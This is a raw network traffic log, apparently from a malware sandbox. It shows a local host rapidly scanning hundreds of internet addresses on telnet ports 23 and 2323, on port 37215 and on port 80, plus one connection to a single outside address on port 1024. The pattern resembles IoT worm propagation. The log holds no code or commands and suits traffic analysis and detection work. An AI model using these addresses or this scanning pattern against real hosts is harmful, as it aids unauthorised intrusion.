Feb 19, 2025 19:43:16.975542068 CET	27314	37215	192.168.2.13	41.81.144.144
Feb 19, 2025 19:43:16.975547075 CET	37215	27314	41.160.252.59	192.168.2.13
Feb 19, 2025 19:43:16.975542068 CET	27314	37215	192.168.2.13	41.146.26.197
Feb 19, 2025 19:43:16.975581884 CET	37215	27314	41.180.240.18	192.168.2.13
Feb 19, 2025 19:43:16.975595951 CET	37215	27314	41.211.25.46	192.168.2.13
Feb 19, 2025 19:43:16.975606918 CET	27314	37215	192.168.2.13	41.10.26.62
Feb 19, 2025 19:43:16.975610971 CET	37215	27314	41.154.192.30	192.168.2.13
Feb 19, 2025 19:43:16.975620985 CET	27314	37215	192.168.2.13	41.180.240.18
Feb 19, 2025 19:43:16.975627899 CET	37215	27314	41.21.202.47	192.168.2.13
Feb 19, 2025 19:43:16.975641012 CET	37215	27314	41.186.40.235	192.168.2.13
Feb 19, 2025 19:43:16.975635052 CET	27314	37215	192.168.2.13	41.160.252.59
Feb 19, 2025 19:43:16.975653887 CET	27314	37215	192.168.2.13	41.154.192.30
Feb 19, 2025 19:43:16.975691080 CET	27314	37215	192.168.2.13	41.211.25.46
Feb 19, 2025 19:43:16.975692034 CET	27314	37215	192.168.2.13	41.186.40.235
Feb 19, 2025 19:43:16.975696087 CET	27314	37215	192.168.2.13	41.21.202.47
Feb 19, 2025 19:43:16.977724075 CET	49190	37215	192.168.2.13	41.62.62.213
Feb 19, 2025 19:43:16.977827072 CET	42768	80	192.168.2.13	112.186.239.83
Feb 19, 2025 19:43:16.978749990 CET	57404	1024	192.168.2.13	141.98.11.41
Feb 19, 2025 19:43:16.982692003 CET	37215	49190	41.62.62.213	192.168.2.13
Feb 19, 2025 19:43:16.983339071 CET	49190	37215	192.168.2.13	41.62.62.213
Feb 19, 2025 19:43:16.987654924 CET	38932	80	192.168.2.13	112.62.83.91
Feb 19, 2025 19:43:16.987843037 CET	58698	37215	192.168.2.13	41.41.222.182
Feb 19, 2025 19:43:16.989762068 CET	39420	37215	192.168.2.13	41.29.48.183
Feb 19, 2025 19:43:16.989893913 CET	35708	80	192.168.2.13	112.252.115.111
Feb 19, 2025 19:43:16.991353035 CET	51544	37215	192.168.2.13	41.65.4.133
Feb 19, 2025 19:43:16.991611958 CET	39278	80	192.168.2.13	112.100.240.7
Feb 19, 2025 19:43:16.992634058 CET	80	38932	112.62.83.91	192.168.2.13
Feb 19, 2025 19:43:16.992691040 CET	38932	80	192.168.2.13	112.62.83.91
Feb 19, 2025 19:43:16.993232965 CET	40386	37215	192.168.2.13	41.245.93.82
Feb 19, 2025 19:43:16.993868113 CET	56824	80	192.168.2.13	112.175.25.182
Feb 19, 2025 19:43:16.995033979 CET	57162	37215	192.168.2.13	41.63.9.111
Feb 19, 2025 19:43:16.995377064 CET	37936	80	192.168.2.13	112.176.196.97
Feb 19, 2025 19:43:16.996653080 CET	51566	37215	192.168.2.13	41.71.193.225
Feb 19, 2025 19:43:16.996990919 CET	40814	80	192.168.2.13	112.238.165.30
Feb 19, 2025 19:43:16.998231888 CET	59300	37215	192.168.2.13	41.37.75.83
Feb 19, 2025 19:43:16.998433113 CET	43570	80	192.168.2.13	112.181.184.188
Feb 19, 2025 19:43:16.999835968 CET	58106	37215	192.168.2.13	41.174.20.98
Feb 19, 2025 19:43:16.999980927 CET	24754	2323	192.168.2.13	210.35.240.211
Feb 19, 2025 19:43:16.999990940 CET	24754	23	192.168.2.13	200.179.17.167
Feb 19, 2025 19:43:16.999996901 CET	24754	23	192.168.2.13	49.168.234.243
Feb 19, 2025 19:43:16.999999046 CET	24754	23	192.168.2.13	104.122.239.182
Feb 19, 2025 19:43:17.000000954 CET	24754	23	192.168.2.13	96.177.158.198
Feb 19, 2025 19:43:17.000001907 CET	24754	23	192.168.2.13	23.91.108.34
Feb 19, 2025 19:43:17.000006914 CET	24754	23	192.168.2.13	223.101.181.35
Feb 19, 2025 19:43:17.000015974 CET	24754	23	192.168.2.13	91.40.118.232
Feb 19, 2025 19:43:17.000026941 CET	24754	23	192.168.2.13	90.23.31.173
Feb 19, 2025 19:43:17.000030041 CET	24754	23	192.168.2.13	73.37.78.189
Feb 19, 2025 19:43:17.000030994 CET	24754	2323	192.168.2.13	190.153.57.164
Feb 19, 2025 19:43:17.000047922 CET	24754	23	192.168.2.13	79.32.14.210
Feb 19, 2025 19:43:17.000047922 CET	24754	23	192.168.2.13	164.81.126.170
Feb 19, 2025 19:43:17.000047922 CET	24754	23	192.168.2.13	118.89.242.58
Feb 19, 2025 19:43:17.000060081 CET	24754	23	192.168.2.13	97.207.130.205
Feb 19, 2025 19:43:17.000060081 CET	24754	23	192.168.2.13	50.248.140.180
Feb 19, 2025 19:43:17.000062943 CET	24754	23	192.168.2.13	146.199.195.109
Feb 19, 2025 19:43:17.000062943 CET	24754	2323	192.168.2.13	45.155.150.105
Feb 19, 2025 19:43:17.000071049 CET	24754	23	192.168.2.13	20.112.222.176
Feb 19, 2025 19:43:17.000072002 CET	24754	23	192.168.2.13	89.54.165.208
Feb 19, 2025 19:43:17.000077963 CET	24754	23	192.168.2.13	1.185.140.53
Feb 19, 2025 19:43:17.000078917 CET	24754	23	192.168.2.13	14.245.52.99
Feb 19, 2025 19:43:17.000080109 CET	24754	23	192.168.2.13	107.48.246.59
Feb 19, 2025 19:43:17.000080109 CET	24754	23	192.168.2.13	79.201.177.56
Feb 19, 2025 19:43:17.000091076 CET	24754	23	192.168.2.13	2.55.69.82
Feb 19, 2025 19:43:17.000091076 CET	24754	23	192.168.2.13	136.239.139.204
Feb 19, 2025 19:43:17.000091076 CET	24754	23	192.168.2.13	67.44.74.231
Feb 19, 2025 19:43:17.000096083 CET	24754	23	192.168.2.13	25.160.37.227
Feb 19, 2025 19:43:17.000096083 CET	24754	23	192.168.2.13	145.186.163.41
Feb 19, 2025 19:43:17.000098944 CET	24754	23	192.168.2.13	47.19.204.88
Feb 19, 2025 19:43:17.000104904 CET	24754	2323	192.168.2.13	118.142.73.32
Feb 19, 2025 19:43:17.000104904 CET	24754	23	192.168.2.13	153.121.108.242
Feb 19, 2025 19:43:17.000104904 CET	24754	23	192.168.2.13	48.208.119.152
Feb 19, 2025 19:43:17.000117064 CET	24754	23	192.168.2.13	204.46.161.89
Feb 19, 2025 19:43:17.000118971 CET	24754	23	192.168.2.13	125.150.23.181
Feb 19, 2025 19:43:17.000118971 CET	24754	23	192.168.2.13	169.79.96.50
Feb 19, 2025 19:43:17.000118971 CET	24754	23	192.168.2.13	51.12.221.233
Feb 19, 2025 19:43:17.000121117 CET	24754	23	192.168.2.13	194.66.108.242
Feb 19, 2025 19:43:17.000130892 CET	24754	23	192.168.2.13	81.112.150.102
Feb 19, 2025 19:43:17.000130892 CET	24754	23	192.168.2.13	20.177.226.38
Feb 19, 2025 19:43:17.000137091 CET	24754	23	192.168.2.13	59.228.226.63
Feb 19, 2025 19:43:17.000138044 CET	24754	23	192.168.2.13	110.13.207.8
Feb 19, 2025 19:43:17.000138044 CET	24754	2323	192.168.2.13	123.221.140.133
Feb 19, 2025 19:43:17.000138044 CET	24754	23	192.168.2.13	153.29.28.239
Feb 19, 2025 19:43:17.000137091 CET	24754	23	192.168.2.13	146.215.202.7
Feb 19, 2025 19:43:17.000149012 CET	24754	23	192.168.2.13	85.199.87.152
Feb 19, 2025 19:43:17.000154018 CET	24754	23	192.168.2.13	133.104.65.199
Feb 19, 2025 19:43:17.000163078 CET	24754	2323	192.168.2.13	84.207.91.254
Feb 19, 2025 19:43:17.000164032 CET	24754	23	192.168.2.13	167.50.29.118
Feb 19, 2025 19:43:17.000164032 CET	24754	23	192.168.2.13	20.156.167.128
Feb 19, 2025 19:43:17.000169992 CET	24754	23	192.168.2.13	100.171.21.30
Feb 19, 2025 19:43:17.000169992 CET	24754	23	192.168.2.13	118.91.5.51
Feb 19, 2025 19:43:17.000170946 CET	24754	23	192.168.2.13	192.124.169.171
Feb 19, 2025 19:43:17.000173092 CET	24754	23	192.168.2.13	134.52.222.49
Feb 19, 2025 19:43:17.000173092 CET	24754	23	192.168.2.13	5.118.91.53
Feb 19, 2025 19:43:17.000173092 CET	24754	23	192.168.2.13	153.131.211.38
Feb 19, 2025 19:43:17.000174999 CET	24754	23	192.168.2.13	86.81.231.163
Feb 19, 2025 19:43:17.000174999 CET	24754	23	192.168.2.13	192.81.47.128
Feb 19, 2025 19:43:17.000185013 CET	24754	23	192.168.2.13	135.157.64.239
Feb 19, 2025 19:43:17.000185966 CET	24754	23	192.168.2.13	124.20.162.21
Feb 19, 2025 19:43:17.000185966 CET	24754	23	192.168.2.13	104.175.92.206
Feb 19, 2025 19:43:17.000190020 CET	24754	23	192.168.2.13	191.237.148.141
Feb 19, 2025 19:43:17.000195026 CET	24754	23	192.168.2.13	191.153.57.94
Feb 19, 2025 19:43:17.000193119 CET	24754	23	192.168.2.13	208.150.30.113
Feb 19, 2025 19:43:17.000195026 CET	24754	2323	192.168.2.13	197.170.4.157
Feb 19, 2025 19:43:17.000195026 CET	24754	23	192.168.2.13	77.83.173.191
Feb 19, 2025 19:43:17.000199080 CET	24754	23	192.168.2.13	74.167.230.162
Feb 19, 2025 19:43:17.000195980 CET	24754	23	192.168.2.13	68.97.179.206
Feb 19, 2025 19:43:17.000200033 CET	24754	23	192.168.2.13	50.152.91.72
Feb 19, 2025 19:43:17.000216007 CET	24754	23	192.168.2.13	79.26.94.151
Feb 19, 2025 19:43:17.000216007 CET	32914	80	192.168.2.13	112.150.63.186
Feb 19, 2025 19:43:17.000219107 CET	24754	23	192.168.2.13	100.129.236.131
Feb 19, 2025 19:43:17.000217915 CET	24754	2323	192.168.2.13	187.237.109.77
Feb 19, 2025 19:43:17.000222921 CET	24754	23	192.168.2.13	13.127.88.165
Feb 19, 2025 19:43:17.000258923 CET	24754	23	192.168.2.13	176.118.61.26
Feb 19, 2025 19:43:17.000258923 CET	24754	23	192.168.2.13	94.221.87.137
Feb 19, 2025 19:43:17.000258923 CET	24754	23	192.168.2.13	168.180.253.252
Feb 19, 2025 19:43:17.000261068 CET	24754	23	192.168.2.13	149.64.207.114
Feb 19, 2025 19:43:17.000261068 CET	24754	23	192.168.2.13	205.146.128.144
Feb 19, 2025 19:43:17.000262022 CET	24754	23	192.168.2.13	81.93.223.73
Feb 19, 2025 19:43:17.000262022 CET	24754	23	192.168.2.13	178.82.247.132
Feb 19, 2025 19:43:17.000263929 CET	24754	23	192.168.2.13	99.226.161.86
Feb 19, 2025 19:43:17.000263929 CET	24754	23	192.168.2.13	93.168.39.34
Feb 19, 2025 19:43:17.000264883 CET	24754	23	192.168.2.13	181.72.122.42
Feb 19, 2025 19:43:17.000263929 CET	24754	2323	192.168.2.13	154.40.108.253
Feb 19, 2025 19:43:17.000264883 CET	24754	23	192.168.2.13	192.14.181.57
Feb 19, 2025 19:43:17.000263929 CET	24754	23	192.168.2.13	71.61.185.51
Feb 19, 2025 19:43:17.000264883 CET	24754	23	192.168.2.13	83.208.244.31
Feb 19, 2025 19:43:17.000264883 CET	24754	23	192.168.2.13	165.68.38.55
Feb 19, 2025 19:43:17.000268936 CET	24754	2323	192.168.2.13	186.156.210.176
Feb 19, 2025 19:43:17.000268936 CET	24754	23	192.168.2.13	107.23.255.112
Feb 19, 2025 19:43:17.000272036 CET	24754	23	192.168.2.13	80.100.169.59
Feb 19, 2025 19:43:17.000286102 CET	24754	23	192.168.2.13	46.65.68.142
Feb 19, 2025 19:43:17.000298977 CET	24754	23	192.168.2.13	90.35.85.49
Feb 19, 2025 19:43:17.000299931 CET	24754	23	192.168.2.13	37.231.152.97
Feb 19, 2025 19:43:17.000303984 CET	24754	23	192.168.2.13	144.131.202.198
Feb 19, 2025 19:43:17.000303984 CET	24754	23	192.168.2.13	47.69.146.216
Feb 19, 2025 19:43:17.000304937 CET	24754	23	192.168.2.13	159.27.46.217
Feb 19, 2025 19:43:17.000304937 CET	24754	2323	192.168.2.13	150.50.120.20
Feb 19, 2025 19:43:17.000308037 CET	24754	23	192.168.2.13	23.27.110.160
Feb 19, 2025 19:43:17.000308990 CET	24754	23	192.168.2.13	175.156.161.151
Feb 19, 2025 19:43:17.000308990 CET	24754	23	192.168.2.13	61.31.15.226
Feb 19, 2025 19:43:17.000309944 CET	24754	23	192.168.2.13	102.187.47.242
Feb 19, 2025 19:43:17.000330925 CET	24754	2323	192.168.2.13	221.48.229.66
Feb 19, 2025 19:43:17.000332117 CET	24754	23	192.168.2.13	199.136.186.254
Feb 19, 2025 19:43:17.000332117 CET	24754	23	192.168.2.13	165.83.69.113
Feb 19, 2025 19:43:17.000334978 CET	24754	23	192.168.2.13	82.15.209.87
Feb 19, 2025 19:43:17.000335932 CET	24754	23	192.168.2.13	132.5.11.227
Feb 19, 2025 19:43:17.000335932 CET	24754	23	192.168.2.13	61.177.114.208
Feb 19, 2025 19:43:17.000334978 CET	24754	23	192.168.2.13	20.100.152.114
Feb 19, 2025 19:43:17.000335932 CET	24754	23	192.168.2.13	2.72.167.242
Feb 19, 2025 19:43:17.000340939 CET	24754	23	192.168.2.13	109.136.95.107
Feb 19, 2025 19:43:17.000340939 CET	24754	23	192.168.2.13	164.57.4.70
Feb 19, 2025 19:43:17.000340939 CET	24754	23	192.168.2.13	141.127.228.83
Feb 19, 2025 19:43:17.000354052 CET	24754	23	192.168.2.13	81.135.102.177
Feb 19, 2025 19:43:17.000355005 CET	24754	23	192.168.2.13	137.178.6.20
Feb 19, 2025 19:43:17.000353098 CET	24754	23	192.168.2.13	52.132.242.254
Feb 19, 2025 19:43:17.000353098 CET	24754	23	192.168.2.13	207.56.151.196
Feb 19, 2025 19:43:17.000356913 CET	24754	23	192.168.2.13	184.15.47.218
Feb 19, 2025 19:43:17.000360012 CET	24754	23	192.168.2.13	182.168.30.211
Feb 19, 2025 19:43:17.000361919 CET	24754	2323	192.168.2.13	50.30.132.49
Feb 19, 2025 19:43:17.000361919 CET	24754	23	192.168.2.13	150.249.16.177
Feb 19, 2025 19:43:17.000361919 CET	24754	23	192.168.2.13	73.191.245.198
Feb 19, 2025 19:43:17.000365973 CET	24754	23	192.168.2.13	166.121.195.188
Feb 19, 2025 19:43:17.000365973 CET	24754	23	192.168.2.13	208.234.193.142
Feb 19, 2025 19:43:17.000376940 CET	24754	23	192.168.2.13	61.142.120.106
Feb 19, 2025 19:43:17.000389099 CET	24754	23	192.168.2.13	204.173.109.233
Feb 19, 2025 19:43:17.000391960 CET	24754	23	192.168.2.13	170.254.99.97
Feb 19, 2025 19:43:17.000391960 CET	24754	23	192.168.2.13	38.78.192.25
Feb 19, 2025 19:43:17.000394106 CET	24754	2323	192.168.2.13	169.194.187.140
Feb 19, 2025 19:43:17.000395060 CET	24754	23	192.168.2.13	176.252.241.179
Feb 19, 2025 19:43:17.000394106 CET	24754	23	192.168.2.13	207.38.237.27
Feb 19, 2025 19:43:17.000396013 CET	24754	23	192.168.2.13	210.254.92.71
Feb 19, 2025 19:43:17.000396013 CET	24754	23	192.168.2.13	94.245.65.104
Feb 19, 2025 19:43:17.000396967 CET	24754	23	192.168.2.13	165.126.2.164
Feb 19, 2025 19:43:17.000395060 CET	24754	23	192.168.2.13	44.35.126.194
Feb 19, 2025 19:43:17.000395060 CET	24754	23	192.168.2.13	130.234.52.219
Feb 19, 2025 19:43:17.000405073 CET	24754	23	192.168.2.13	195.73.167.164
Feb 19, 2025 19:43:17.000405073 CET	24754	23	192.168.2.13	114.124.224.126
Feb 19, 2025 19:43:17.000420094 CET	24754	23	192.168.2.13	189.1.51.247
Feb 19, 2025 19:43:17.000421047 CET	24754	23	192.168.2.13	159.135.232.29
Feb 19, 2025 19:43:17.000420094 CET	24754	23	192.168.2.13	180.171.243.252
Feb 19, 2025 19:43:17.000421047 CET	24754	23	192.168.2.13	187.106.35.124
Feb 19, 2025 19:43:17.000421047 CET	24754	23	192.168.2.13	84.157.212.185
Feb 19, 2025 19:43:17.000421047 CET	24754	23	192.168.2.13	150.62.98.11
Feb 19, 2025 19:43:17.000423908 CET	24754	23	192.168.2.13	155.74.48.60
Feb 19, 2025 19:43:17.000423908 CET	24754	23	192.168.2.13	146.137.133.233
Feb 19, 2025 19:43:17.000423908 CET	24754	23	192.168.2.13	178.213.144.123
Feb 19, 2025 19:43:17.000425100 CET	24754	2323	192.168.2.13	37.238.91.112
Feb 19, 2025 19:43:17.000425100 CET	24754	23	192.168.2.13	52.194.61.202
Feb 19, 2025 19:43:17.000428915 CET	24754	2323	192.168.2.13	164.15.135.240
Feb 19, 2025 19:43:17.000431061 CET	24754	23	192.168.2.13	190.16.123.30
Feb 19, 2025 19:43:17.000435114 CET	24754	23	192.168.2.13	1.82.164.36
Feb 19, 2025 19:43:17.000435114 CET	24754	23	192.168.2.13	110.227.233.223
Feb 19, 2025 19:43:17.000435114 CET	24754	23	192.168.2.13	78.131.159.64
Feb 19, 2025 19:43:17.000435114 CET	24754	23	192.168.2.13	198.57.158.168
Feb 19, 2025 19:43:17.000435114 CET	24754	23	192.168.2.13	160.123.42.66
Feb 19, 2025 19:43:17.000437021 CET	24754	23	192.168.2.13	73.197.75.174
Feb 19, 2025 19:43:17.000471115 CET	24754	2323	192.168.2.13	187.55.140.173
Feb 19, 2025 19:43:17.000472069 CET	24754	23	192.168.2.13	177.17.144.48
Feb 19, 2025 19:43:17.000472069 CET	24754	23	192.168.2.13	97.55.90.166
Feb 19, 2025 19:43:17.000473022 CET	24754	23	192.168.2.13	186.94.53.210
Feb 19, 2025 19:43:17.000473022 CET	24754	23	192.168.2.13	86.128.250.193
Feb 19, 2025 19:43:17.000473022 CET	24754	23	192.168.2.13	177.198.213.211
Feb 19, 2025 19:43:17.000475883 CET	24754	23	192.168.2.13	61.227.234.136
Feb 19, 2025 19:43:17.000475883 CET	24754	23	192.168.2.13	42.108.135.243
Feb 19, 2025 19:43:17.000475883 CET	24754	2323	192.168.2.13	61.82.1.29
Feb 19, 2025 19:43:17.000475883 CET	24754	23	192.168.2.13	123.89.109.12
Feb 19, 2025 19:43:17.000488043 CET	24754	23	192.168.2.13	167.10.18.220
Feb 19, 2025 19:43:17.000488043 CET	24754	23	192.168.2.13	14.134.42.193
Feb 19, 2025 19:43:17.000490904 CET	24754	23	192.168.2.13	200.58.236.184
Feb 19, 2025 19:43:17.000492096 CET	24754	23	192.168.2.13	194.105.192.200
Feb 19, 2025 19:43:17.000490904 CET	24754	23	192.168.2.13	117.89.248.165
Feb 19, 2025 19:43:17.000495911 CET	24754	23	192.168.2.13	1.249.4.73
Feb 19, 2025 19:43:17.000495911 CET	24754	23	192.168.2.13	197.81.38.230
Feb 19, 2025 19:43:17.000492096 CET	24754	23	192.168.2.13	43.88.36.111
Feb 19, 2025 19:43:17.000513077 CET	24754	23	192.168.2.13	210.193.235.247
Feb 19, 2025 19:43:17.000523090 CET	24754	23	192.168.2.13	101.39.156.41
Feb 19, 2025 19:43:17.000523090 CET	24754	23	192.168.2.13	140.17.9.119
Feb 19, 2025 19:43:17.000523090 CET	24754	23	192.168.2.13	92.115.13.57
Feb 19, 2025 19:43:17.000523090 CET	24754	23	192.168.2.13	125.178.201.207
Feb 19, 2025 19:43:17.000523090 CET	24754	23	192.168.2.13	160.8.129.143
Feb 19, 2025 19:43:17.000530005 CET	24754	23	192.168.2.13	40.48.75.15
Feb 19, 2025 19:43:17.000530005 CET	24754	23	192.168.2.13	191.85.194.180
Feb 19, 2025 19:43:17.000535011 CET	24754	23	192.168.2.13	89.82.75.110
Feb 19, 2025 19:43:17.000535011 CET	24754	23	192.168.2.13	133.196.212.206
Feb 19, 2025 19:43:17.000535011 CET	24754	2323	192.168.2.13	137.245.136.8
Feb 19, 2025 19:43:17.000535011 CET	24754	23	192.168.2.13	54.215.104.147
Feb 19, 2025 19:43:17.000536919 CET	24754	23	192.168.2.13	175.87.36.138
Feb 19, 2025 19:43:17.000538111 CET	24754	23	192.168.2.13	128.78.236.67
Feb 19, 2025 19:43:17.000536919 CET	24754	23	192.168.2.13	75.86.146.244
Feb 19, 2025 19:43:17.000538111 CET	24754	2323	192.168.2.13	222.232.136.178
Feb 19, 2025 19:43:17.000536919 CET	24754	23	192.168.2.13	173.50.57.110
Feb 19, 2025 19:43:17.000536919 CET	24754	23	192.168.2.13	213.122.248.39
Feb 19, 2025 19:43:17.000536919 CET	24754	23	192.168.2.13	199.120.6.34
Feb 19, 2025 19:43:17.000555038 CET	24754	23	192.168.2.13	158.156.218.223
Feb 19, 2025 19:43:17.000555038 CET	24754	2323	192.168.2.13	187.147.91.12
Feb 19, 2025 19:43:17.000555038 CET	24754	23	192.168.2.13	125.95.96.52
Feb 19, 2025 19:43:17.000562906 CET	24754	23	192.168.2.13	121.26.66.66
Feb 19, 2025 19:43:17.000562906 CET	24754	23	192.168.2.13	50.36.226.163
Feb 19, 2025 19:43:17.000562906 CET	24754	23	192.168.2.13	177.205.219.91
Feb 19, 2025 19:43:17.000562906 CET	24754	23	192.168.2.13	41.96.25.218
Feb 19, 2025 19:43:17.000565052 CET	24754	23	192.168.2.13	181.179.74.203
Feb 19, 2025 19:43:17.000566959 CET	24754	23	192.168.2.13	184.160.116.216
Feb 19, 2025 19:43:17.000565052 CET	24754	23	192.168.2.13	2.86.220.25
Feb 19, 2025 19:43:17.000565052 CET	24754	23	192.168.2.13	47.222.122.129
Feb 19, 2025 19:43:17.000566006 CET	24754	23	192.168.2.13	4.200.118.61
Feb 19, 2025 19:43:17.000572920 CET	24754	2323	192.168.2.13	189.167.40.255
Feb 19, 2025 19:43:17.000572920 CET	24754	23	192.168.2.13	32.42.192.242
Feb 19, 2025 19:43:17.000572920 CET	24754	23	192.168.2.13	167.87.140.179
Feb 19, 2025 19:43:17.000572920 CET	24754	23	192.168.2.13	174.166.194.188
Feb 19, 2025 19:43:17.000572920 CET	24754	23	192.168.2.13	50.75.108.108
Feb 19, 2025 19:43:17.000572920 CET	24754	23	192.168.2.13	186.167.73.151
Feb 19, 2025 19:43:17.000572920 CET	24754	23	192.168.2.13	18.208.33.255
Feb 19, 2025 19:43:17.000579119 CET	24754	23	192.168.2.13	213.183.25.113
Feb 19, 2025 19:43:17.000572920 CET	24754	23	192.168.2.13	72.140.44.46
Feb 19, 2025 19:43:17.000579119 CET	24754	23	192.168.2.13	159.237.164.251
Feb 19, 2025 19:43:17.000574112 CET	24754	23	192.168.2.13	91.207.21.158
Feb 19, 2025 19:43:17.000579119 CET	24754	2323	192.168.2.13	65.210.188.98
Feb 19, 2025 19:43:17.000574112 CET	24754	23	192.168.2.13	24.73.193.190
Feb 19, 2025 19:43:17.000585079 CET	24754	23	192.168.2.13	97.96.185.52
Feb 19, 2025 19:43:17.000566006 CET	24754	23	192.168.2.13	161.63.202.109
Feb 19, 2025 19:43:17.000585079 CET	24754	23	192.168.2.13	98.138.72.132
Feb 19, 2025 19:43:17.000586033 CET	24754	23	192.168.2.13	191.210.229.15
Feb 19, 2025 19:43:17.000593901 CET	24754	23	192.168.2.13	148.112.58.181
Feb 19, 2025 19:43:17.000593901 CET	24754	2323	192.168.2.13	140.28.119.108
Feb 19, 2025 19:43:17.000596046 CET	24754	23	192.168.2.13	31.34.45.19
Feb 19, 2025 19:43:17.000596046 CET	24754	23	192.168.2.13	176.69.54.87
Feb 19, 2025 19:43:17.000596046 CET	24754	23	192.168.2.13	67.152.117.232
Feb 19, 2025 19:43:17.000596046 CET	24754	23	192.168.2.13	107.21.81.62
Feb 19, 2025 19:43:17.000598907 CET	24754	23	192.168.2.13	124.64.164.21
Feb 19, 2025 19:43:17.000603914 CET	24754	23	192.168.2.13	37.230.45.155
Feb 19, 2025 19:43:17.000606060 CET	24754	23	192.168.2.13	91.93.20.112
Feb 19, 2025 19:43:17.000608921 CET	24754	23	192.168.2.13	203.110.191.166
Feb 19, 2025 19:43:17.000608921 CET	24754	23	192.168.2.13	49.29.161.199
Feb 19, 2025 19:43:17.000612020 CET	24754	23	192.168.2.13	34.233.65.20
Feb 19, 2025 19:43:17.000618935 CET	24754	23	192.168.2.13	134.67.52.195
Feb 19, 2025 19:43:17.000622034 CET	24754	23	192.168.2.13	206.24.144.46
Feb 19, 2025 19:43:17.000631094 CET	24754	2323	192.168.2.13	216.48.207.61
Feb 19, 2025 19:43:17.000632048 CET	24754	23	192.168.2.13	182.106.200.230
Feb 19, 2025 19:43:17.000632048 CET	24754	23	192.168.2.13	8.66.190.104
Feb 19, 2025 19:43:17.000631094 CET	24754	23	192.168.2.13	85.50.198.58
Feb 19, 2025 19:43:17.000632048 CET	24754	23	192.168.2.13	18.217.212.65
Feb 19, 2025 19:43:17.000632048 CET	24754	23	192.168.2.13	205.84.240.10
Feb 19, 2025 19:43:17.000642061 CET	24754	23	192.168.2.13	80.242.91.17
Feb 19, 2025 19:43:17.000648022 CET	24754	23	192.168.2.13	160.10.41.122
Feb 19, 2025 19:43:17.000648022 CET	24754	2323	192.168.2.13	211.66.3.21
Feb 19, 2025 19:43:17.000650883 CET	24754	23	192.168.2.13	181.175.15.17
Feb 19, 2025 19:43:17.000653982 CET	24754	23	192.168.2.13	223.240.199.122
Feb 19, 2025 19:43:17.000654936 CET	24754	23	192.168.2.13	148.253.174.192
Feb 19, 2025 19:43:17.000654936 CET	24754	23	192.168.2.13	128.82.119.33
Feb 19, 2025 19:43:17.000658035 CET	24754	23	192.168.2.13	109.239.243.230
Feb 19, 2025 19:43:17.000654936 CET	24754	23	192.168.2.13	106.134.204.166
Feb 19, 2025 19:43:17.000658035 CET	24754	23	192.168.2.13	116.39.13.20
Feb 19, 2025 19:43:17.000654936 CET	24754	23	192.168.2.13	113.180.58.23
Feb 19, 2025 19:43:17.000672102 CET	24754	23	192.168.2.13	202.162.157.77
Feb 19, 2025 19:43:17.000678062 CET	24754	23	192.168.2.13	65.172.49.122
Feb 19, 2025 19:43:17.000678062 CET	24754	23	192.168.2.13	64.61.131.136
Feb 19, 2025 19:43:17.000679016 CET	24754	23	192.168.2.13	108.11.251.190
Feb 19, 2025 19:43:17.000679016 CET	24754	2323	192.168.2.13	27.214.165.198
Feb 19, 2025 19:43:17.000682116 CET	24754	23	192.168.2.13	206.188.95.68
Feb 19, 2025 19:43:17.000682116 CET	24754	23	192.168.2.13	97.118.49.0
Feb 19, 2025 19:43:17.000682116 CET	24754	23	192.168.2.13	62.163.77.77
Feb 19, 2025 19:43:17.000682116 CET	24754	23	192.168.2.13	192.103.128.161
Feb 19, 2025 19:43:17.000682116 CET	24754	23	192.168.2.13	73.53.159.29
Feb 19, 2025 19:43:17.000693083 CET	24754	23	192.168.2.13	82.61.236.157
Feb 19, 2025 19:43:17.000694036 CET	24754	23	192.168.2.13	154.181.201.115
Feb 19, 2025 19:43:17.000694036 CET	24754	2323	192.168.2.13	51.209.170.40
Feb 19, 2025 19:43:17.000705004 CET	24754	23	192.168.2.13	106.17.234.222
Feb 19, 2025 19:43:17.000705004 CET	24754	23	192.168.2.13	206.22.101.245
Feb 19, 2025 19:43:17.000705004 CET	24754	23	192.168.2.13	87.143.182.2
Feb 19, 2025 19:43:17.000710011 CET	24754	23	192.168.2.13	170.234.199.217
Feb 19, 2025 19:43:17.000710011 CET	24754	23	192.168.2.13	74.222.191.76
Feb 19, 2025 19:43:17.000713110 CET	24754	23	192.168.2.13	5.254.206.218
Feb 19, 2025 19:43:17.000713110 CET	24754	2323	192.168.2.13	96.138.106.213
Feb 19, 2025 19:43:17.000716925 CET	24754	23	192.168.2.13	1.146.10.19
Feb 19, 2025 19:43:17.000716925 CET	24754	23	192.168.2.13	24.59.188.5
Feb 19, 2025 19:43:17.000719070 CET	24754	23	192.168.2.13	153.185.231.72
Feb 19, 2025 19:43:17.000720024 CET	24754	23	192.168.2.13	100.195.36.183
Feb 19, 2025 19:43:17.000716925 CET	24754	23	192.168.2.13	109.159.13.213
Feb 19, 2025 19:43:17.000720978 CET	24754	23	192.168.2.13	91.26.229.127
Feb 19, 2025 19:43:17.000716925 CET	24754	23	192.168.2.13	53.168.187.243
Feb 19, 2025 19:43:17.000724077 CET	24754	23	192.168.2.13	95.125.78.74
Feb 19, 2025 19:43:17.000716925 CET	24754	23	192.168.2.13	131.41.143.206
Feb 19, 2025 19:43:17.000724077 CET	24754	23	192.168.2.13	99.243.77.59
Feb 19, 2025 19:43:17.000724077 CET	24754	23	192.168.2.13	158.11.253.66
Feb 19, 2025 19:43:17.000716925 CET	24754	23	192.168.2.13	146.53.62.157
Feb 19, 2025 19:43:17.000716925 CET	24754	23	192.168.2.13	44.144.32.92
Feb 19, 2025 19:43:17.000731945 CET	24754	23	192.168.2.13	213.6.0.13
Feb 19, 2025 19:43:17.000737906 CET	24754	23	192.168.2.13	153.117.219.197
Feb 19, 2025 19:43:17.000741959 CET	24754	23	192.168.2.13	109.159.134.120
Feb 19, 2025 19:43:17.000737906 CET	24754	23	192.168.2.13	221.174.31.192
Feb 19, 2025 19:43:17.000747919 CET	24754	23	192.168.2.13	17.3.236.23
Feb 19, 2025 19:43:17.000747919 CET	24754	2323	192.168.2.13	177.155.28.147
Feb 19, 2025 19:43:17.000747919 CET	24754	23	192.168.2.13	60.158.26.75
Feb 19, 2025 19:43:17.000756979 CET	24754	23	192.168.2.13	185.111.131.93
Feb 19, 2025 19:43:17.000757933 CET	24754	23	192.168.2.13	59.33.172.86
Feb 19, 2025 19:43:17.000766993 CET	24754	2323	192.168.2.13	172.168.31.182
Feb 19, 2025 19:43:17.000767946 CET	24754	23	192.168.2.13	174.206.110.202
Feb 19, 2025 19:43:17.000767946 CET	24754	23	192.168.2.13	175.243.175.21
Feb 19, 2025 19:43:17.000768900 CET	24754	23	192.168.2.13	109.57.178.85
Feb 19, 2025 19:43:17.000768900 CET	24754	23	192.168.2.13	73.62.232.154
